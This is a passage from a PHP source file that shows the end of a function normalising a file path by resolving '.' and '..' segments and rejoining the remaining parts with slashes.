$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>